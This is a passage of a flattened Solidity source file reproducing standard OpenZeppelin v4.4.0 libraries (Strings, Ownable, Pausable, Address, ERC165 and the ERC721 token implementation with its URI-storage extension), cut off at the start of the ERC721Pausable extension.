* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
// OpenZeppelin Contracts v4.4.0 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.0 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.0 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/security/Pausable.sol
// OpenZeppelin Contracts v4.4.0 (security/Pausable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor() {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
// File: @openzeppelin/contracts/utils/Address.sol
// OpenZeppelin Contracts v4.4.0 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
// OpenZeppelin Contracts v4.4.0 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
// OpenZeppelin Contracts v4.4.0 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC721/ERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/ERC721URIStorage.sol)
pragma solidity ^0.8.0;
/**
* @dev ERC721 token with storage based token URI management.
*/
abstract contract ERC721URIStorage is ERC721 {
using Strings for uint256;
// Optional mapping for token URIs
mapping(uint256 => string) private _tokenURIs;
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = _baseURI();
// If there is no base URI, return the token URI.
if (bytes(base).length == 0) {
return _tokenURI;
}
// If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked).
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, _tokenURI));
}
return super.tokenURI(tokenId);
}
/**
* @dev Sets `_tokenURI` as the tokenURI of `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721URIStorage: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual override {
super._burn(tokenId);
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Pausable.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/ERC721Pausable.sol)
pragma solidity ^0.8.0;
/**
* @dev ERC721 token with pausable token transfers, minting and burning.
*
* Useful for scenarios such as preventing trades until the end of an evaluation
* period, or having an emergency switch for freezing all token transfers in the
* event of a large bug.
*/
abstract contract ERC721Pausable is ERC721, Pausable {
/**
* @dev See {ERC721-_beforeTokenTransfer}.
*
* Requirements:
*
